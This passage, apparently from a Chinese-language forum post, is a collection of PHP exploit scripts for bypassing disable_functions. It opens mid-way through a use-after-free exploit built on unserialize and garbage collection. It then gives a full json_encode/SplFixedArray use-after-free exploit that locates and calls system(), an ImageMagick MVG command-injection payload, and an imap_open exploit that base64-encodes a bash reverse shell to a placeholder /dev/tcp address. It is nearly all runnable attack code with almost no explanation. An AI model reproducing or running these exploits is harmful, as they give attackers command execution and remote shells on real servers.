- <font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
- <font color="#c678dd">return</font> $addr;
- }
- }
- }
- function get_system($basic_funcs) {
- $addr = $basic_funcs;
- <font color="#c678dd">do</font> {
- $f_entry = leak($addr);
- $f_name = leak($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);
- <font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
- <font color="#c678dd">return</font> leak($addr + <font color="#d19a66">8</font>);
- }
- $addr += <font color="#d19a66">0x20</font>;
- } <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- }
- class ryat {
- <font color="#c678dd">var</font> $ryat;
- <font color="#c678dd">var</font> $chtg;
-
- function __destruct()
- {
- <font color="#c678dd">$this</font>->chtg = <font color="#c678dd">$this</font>->ryat;
- <font color="#c678dd">$this</font>->ryat = <font color="#d19a66">1</font>;
- }
- }
- class Helper {
- <font color="#c678dd">public</font> $a, $b, $c, $d;
- }
- <font color="#c678dd">if</font>(stristr(PHP_OS, <font color="#98c379">'WIN'</font>)) {
- <font color="#c678dd">die</font>(<font color="#98c379">'This PoC is for *nix systems only.'</font>);
- }
- $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if you get segfaults</i></font>
- $contiguous = [];
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
- $contiguous[] = str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>);
- $poc = <font color="#98c379">'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'</font>;
- $out = unserialize($poc);
- gc_collect_cycles();
- $v = [];
- $v[<font color="#d19a66">0</font>] = ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">79</font>);
- <font color="#c678dd">unset</font>($v);
- $abc = $out[<font color="#d19a66">2</font>][<font color="#d19a66">0</font>];
- $helper = <font color="#c678dd">new</font> Helper;
- $helper->b = function ($x) { };
- <font color="#c678dd">if</font>(strlen($abc) == <font color="#d19a66">79</font> || strlen($abc) == <font color="#d19a66">0</font>) {
- <font color="#c678dd">die</font>(<font color="#98c379">"UAF failed"</font>);
- }
- <font color="#5c6370"><i># leaks</i></font>
- $closure_handlers = str2ptr($abc, <font color="#d19a66">0</font>);
- $php_heap = str2ptr($abc, <font color="#d19a66">0x58</font>);
- $abc_addr = $php_heap - <font color="#d19a66">0xc8</font>;
- <font color="#5c6370"><i># fake value</i></font>
- write($abc, <font color="#d19a66">0x60</font>, <font color="#d19a66">2</font>);
- write($abc, <font color="#d19a66">0x70</font>, <font color="#d19a66">6</font>);
- <font color="#5c6370"><i># fake reference</i></font>
- write($abc, <font color="#d19a66">0x10</font>, $abc_addr + <font color="#d19a66">0x60</font>);
- write($abc, <font color="#d19a66">0x18</font>, <font color="#d19a66">0xa</font>);
- $closure_obj = str2ptr($abc, <font color="#d19a66">0x20</font>);
- $binary_leak = leak($closure_handlers, <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>(!($base = get_binary_base($binary_leak))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
- }
- <font color="#c678dd">if</font>(!($elf = parse_elf($base))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF header"</font>);
- }
- <font color="#c678dd">if</font>(!($basic_funcs = get_basic_funcs($base, $elf))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
- }
- <font color="#c678dd">if</font>(!($zif_system = get_system($basic_funcs))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
- }
- <font color="#5c6370"><i># fake closure object</i></font>
- $fake_obj_offset = <font color="#d19a66">0xd0</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x110</font>; $i += <font color="#d19a66">8</font>) {
- write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
- }
- <font color="#5c6370"><i># pwn</i></font>
- write($abc, <font color="#d19a66">0x20</font>, $abc_addr + $fake_obj_offset);
- write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x38</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>); <font color="#5c6370"><i># internal func type</i></font>
- write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x68</font>, $zif_system); <font color="#5c6370"><i># internal func handler</i></font>
- ($helper->b)($cmd);
- <font color="#c678dd">exit</font>();
- }
复制代码
json
- <font color="#61aeee"><?php</font>
- $cmd = <font color="#98c379">"id"</font>;
- $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if you get segfaults</i></font>
- class MySplFixedArray extends SplFixedArray {
- <font color="#c678dd">public</font> <font color="#c678dd">static</font> $leak;
- }
- class Z implements JsonSerializable {
- <font color="#c678dd">public</font> function write(&$str, $p, $v, $n = 8) {
- $i = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n; $i++) {
- $str[$p + $i] = chr($v & <font color="#d19a66">0xff</font>);
- $v >>= <font color="#d19a66">8</font>;
- }
- }
- <font color="#c678dd">public</font> function str2ptr(&$str, $p = 0, $s = 8) {
- $address = <font color="#d19a66">0</font>;
- <font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j >= <font color="#d19a66">0</font>; $j--) {
- $address <<= <font color="#d19a66">8</font>;
- $address |= ord($str[$p+$j]);
- }
- <font color="#c678dd">return</font> $address;
- }
- <font color="#c678dd">public</font> function ptr2str($ptr, $m = 8) {
- $out = <font color="#98c379">""</font>;
- <font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i < $m; $i++) {
- $out .= chr($ptr & <font color="#d19a66">0xff</font>);
- $ptr >>= <font color="#d19a66">8</font>;
- }
- <font color="#c678dd">return</font> $out;
- }
- <font color="#5c6370"><i># unable to leak ro segments</i></font>
- <font color="#c678dd">public</font> function leak1($addr) {
- <font color="#c678dd">global</font> $spl1;
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">8</font>, $addr - <font color="#d19a66">0x10</font>);
- <font color="#c678dd">return</font> strlen(get_class($spl1));
- }
- <font color="#5c6370"><i># the real deal</i></font>
- <font color="#c678dd">public</font> function leak2($addr, $p = 0, $s = 8) {
- <font color="#c678dd">global</font> $spl1, $fake_tbl_off;
- <font color="#5c6370"><i># fake reference zval</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">0x10</font>, <font color="#d19a66">0xdeadbeef</font>); <font color="#5c6370"><i># gc_refcounted</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">0x18</font>, $addr + $p - <font color="#d19a66">0x10</font>); <font color="#5c6370"><i># zval</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">0x20</font>, <font color="#d19a66">6</font>); <font color="#5c6370"><i># type (string)</i></font>
- $leak = strlen($spl1::$leak);
- <font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> << ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }
- <font color="#c678dd">return</font> $leak;
- }
- <font color="#c678dd">public</font> function parse_elf($base) {
- $e_type = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);
- $e_phoff = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x20</font>);
- $e_phentsize = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
- $e_phnum = <font color="#c678dd">$this</font>->leak2($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $e_phnum; $i++) {
- $header = $base + $e_phoff + $i * $e_phentsize;
- $p_type = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
- $p_flags = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
- $p_vaddr = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">0x10</font>);
- $p_memsz = <font color="#c678dd">$this</font>->leak2($header, <font color="#d19a66">0x28</font>);
- <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
- <font color="#5c6370"><i># handle pie</i></font>
- $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
- $data_size = $p_memsz;
- } <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> && $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
- $text_size = $p_memsz;
- }
- }
- <font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- <font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
- }
- <font color="#c678dd">public</font> function get_basic_funcs($base, $elf) {
- <font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $data_size / <font color="#d19a66">8</font>; $i++) {
- $leak = <font color="#c678dd">$this</font>->leak2($data_addr, $i * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = <font color="#c678dd">$this</font>->leak2($leak);
- <font color="#5c6370"><i># 'constant' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- $leak = <font color="#c678dd">$this</font>->leak2($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
- <font color="#c678dd">if</font>($leak - $base > <font color="#d19a66">0</font> && $leak - $base < $data_addr - $base) {
- $deref = <font color="#c678dd">$this</font>->leak2($leak);
- <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
- <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
- <font color="#c678dd">continue</font>;
- } <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;
- <font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
- }
- }
- <font color="#c678dd">public</font> function get_binary_base($binary_leak) {
- $base = <font color="#d19a66">0</font>;
- $start = $binary_leak & <font color="#d19a66">0xfffffffffffff000</font>;
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">0x1000</font>; $i++) {
- $addr = $start - <font color="#d19a66">0x1000</font> * $i;
- $leak = <font color="#c678dd">$this</font>->leak2($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
- <font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
- <font color="#c678dd">return</font> $addr;
- }
- }
- }
- <font color="#c678dd">public</font> function get_system($basic_funcs) {
- $addr = $basic_funcs;
- <font color="#c678dd">do</font> {
- $f_entry = <font color="#c678dd">$this</font>->leak2($addr);
- $f_name = <font color="#c678dd">$this</font>->leak2($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);
- <font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
- <font color="#c678dd">return</font> <font color="#c678dd">$this</font>->leak2($addr + <font color="#d19a66">8</font>);
- }
- $addr += <font color="#d19a66">0x20</font>;
- } <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
- <font color="#c678dd">return</font> <font color="#c678dd">false</font>;
- }
- <font color="#c678dd">public</font> function jsonSerialize() {
- <font color="#c678dd">global</font> $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
- $contiguous = [];
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
- $contiguous[] = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);
- $room = [];
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < $n_alloc; $i++)
- $room[] = <font color="#c678dd">new</font> Z();
- $_protector = <font color="#c678dd">$this</font>->ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">78</font>);
- <font color="#c678dd">$this</font>->abc = <font color="#c678dd">$this</font>->ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">79</font>);
- $p = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);
- <font color="#c678dd">unset</font>($y[<font color="#d19a66">0</font>]);
- <font color="#c678dd">unset</font>($p);
- $protector = <font color="#98c379">".$_protector"</font>;
- $x = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);
- $x->d = <font color="#d19a66">0x2000</font>;
- $x->h = <font color="#d19a66">0xdeadbeef</font>;
- <font color="#5c6370"><i># $this->abc is now of size 0x2000</i></font>
- <font color="#c678dd">if</font>(<font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc) != <font color="#d19a66">0xdeadbeef</font>) {
- <font color="#c678dd">die</font>(<font color="#98c379">'UAF failed.'</font>);
- }
- $spl1 = <font color="#c678dd">new</font> MySplFixedArray();
- $spl2 = <font color="#c678dd">new</font> MySplFixedArray();
- <font color="#5c6370"><i># some leaks</i></font>
- $class_entry = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x120</font>);
- $handlers = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x128</font>);
- $php_heap = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x1a8</font>);
- $abc_addr = $php_heap - <font color="#d19a66">0x218</font>;
- <font color="#5c6370"><i># create a fake class_entry</i></font>
- $fake_obj = $abc_addr;
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0</font>, <font color="#d19a66">2</font>); <font color="#5c6370"><i># type</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x120</font>, $abc_addr); <font color="#5c6370"><i># fake class_entry</i></font>
- <font color="#5c6370"><i># copy some of class_entry definition</i></font>
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">16</font>; $i++) {
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x10</font> + $i * <font color="#d19a66">8</font>,
- <font color="#c678dd">$this</font>->leak1($class_entry + <font color="#d19a66">0x10</font> + $i * <font color="#d19a66">8</font>));
- }
- <font color="#5c6370"><i># fake static members table</i></font>
- $fake_tbl_off = <font color="#d19a66">0x70</font> * <font color="#d19a66">4</font> - <font color="#d19a66">16</font>;
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x30</font>, $abc_addr + $fake_tbl_off);
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x38</font>, $abc_addr + $fake_tbl_off);
- <font color="#5c6370"><i># fake zval_reference</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + <font color="#d19a66">0x10</font>); <font color="#5c6370"><i># zval</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_tbl_off + <font color="#d19a66">8</font>, <font color="#d19a66">10</font>); <font color="#5c6370"><i># zval type (reference)</i></font>
- <font color="#5c6370"><i># look for binary base</i></font>
- $binary_leak = <font color="#c678dd">$this</font>->leak2($handlers + <font color="#d19a66">0x10</font>);
- <font color="#c678dd">if</font>(!($base = <font color="#c678dd">$this</font>->get_binary_base($binary_leak))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
- }
- <font color="#5c6370"><i># parse elf header</i></font>
- <font color="#c678dd">if</font>(!($elf = <font color="#c678dd">$this</font>->parse_elf($base))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF"</font>);
- }
- <font color="#5c6370"><i># get basic_functions address</i></font>
- <font color="#c678dd">if</font>(!($basic_funcs = <font color="#c678dd">$this</font>->get_basic_funcs($base, $elf))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
- }
- <font color="#5c6370"><i># find system entry</i></font>
- <font color="#c678dd">if</font>(!($zif_system = <font color="#c678dd">$this</font>->get_system($basic_funcs))) {
- <font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
- }
-
- <font color="#5c6370"><i># copy hashtable offsetGet bucket</i></font>
- $fake_bkt_off = <font color="#d19a66">0x70</font> * <font color="#d19a66">5</font> - <font color="#d19a66">16</font>;
- $function_data = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x50</font>);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">4</font>; $i++) {
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off + $i * <font color="#d19a66">8</font>,
- <font color="#c678dd">$this</font>->leak2($function_data + <font color="#d19a66">0x40</font> * <font color="#d19a66">4</font>, $i * <font color="#d19a66">8</font>));
- }
- <font color="#5c6370"><i># create a fake bucket</i></font>
- $fake_bkt_addr = $abc_addr + $fake_bkt_off;
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x50</font>, $fake_bkt_addr);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">3</font>; $i++) {
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, <font color="#d19a66">0x58</font> + $i * <font color="#d19a66">4</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>);
- }
- <font color="#5c6370"><i># copy bucket zval</i></font>
- $function_zval = <font color="#c678dd">$this</font>->str2ptr(<font color="#c678dd">$this</font>->abc, $fake_bkt_off);
- <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i < <font color="#d19a66">12</font>; $i++) {
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off + <font color="#d19a66">0x70</font> + $i * <font color="#d19a66">8</font>,
- <font color="#c678dd">$this</font>->leak2($function_zval, $i * <font color="#d19a66">8</font>));
- }
- <font color="#5c6370"><i># pwn</i></font>
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off + <font color="#d19a66">0x70</font> + <font color="#d19a66">0x30</font>, $zif_system);
- <font color="#c678dd">$this</font>->write(<font color="#c678dd">$this</font>->abc, $fake_bkt_off, $fake_bkt_addr + <font color="#d19a66">0x70</font>);
- $spl1->offsetGet($cmd);
- <font color="#c678dd">exit</font>();
- }
- }
- $y = [<font color="#c678dd">new</font> Z()];
- json_encode([&$y]);
复制代码
ImageMagick- <font color="#61aeee"><?php</font>
- <font color="#c678dd">echo</font> <font color="#98c379">"Disable Functions: "</font> . ini_get(<font color="#98c379">'disable_functions'</font>) . <font color="#98c379">"n"</font>;
- function AAAA(){
- $command = <font color="#98c379">'curl 127.0.0.1:7777'</font>;
- $exploit = <font color="#98c379"><<<EOF
- push graphic-context
- viewbox 0 0 640 480
- fill 'url(<img src="https://example.com/image.jpg" alt="" style="max-width:400px" border="0">"|$command")'
- pop graphic-context
- EOF;</font>
- file_put_contents(<font color="#98c379">"KKKK.mvg"</font>, $exploit);
- $thumb = <font color="#c678dd">new</font> Imagick();
- $thumb->readImage(<font color="#98c379">'KKKK.mvg'</font>);
- $thumb->writeImage(<font color="#98c379">'KKKK.png'</font>);
- $thumb->clear();
- $thumb->destroy();
- unlink(<font color="#98c379">"KKKK.mvg"</font>);
- unlink(<font color="#98c379">"KKKK.png"</font>);
- }
- AAAA();
- <font color="#61aeee">?></font>
复制代码
imap_open RCE漏洞
- <font color="#61aeee"><?php</font>
- $payload = <font color="#98c379">"/bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"</font>;
- $base64 = base64_encode($payload);
- $server = <font color="#98c379">"any -oProxyCommand=echot{$base64}|base64t-d|bash"</font>;
- @imap_open(<font color="#98c379">"{"</font>.$server.<font color="#98c379">"}:143/imap}INBOX"</font>,<font color="#98c379">""</font>,<font color="#98c379">""</font>);
复制代码
|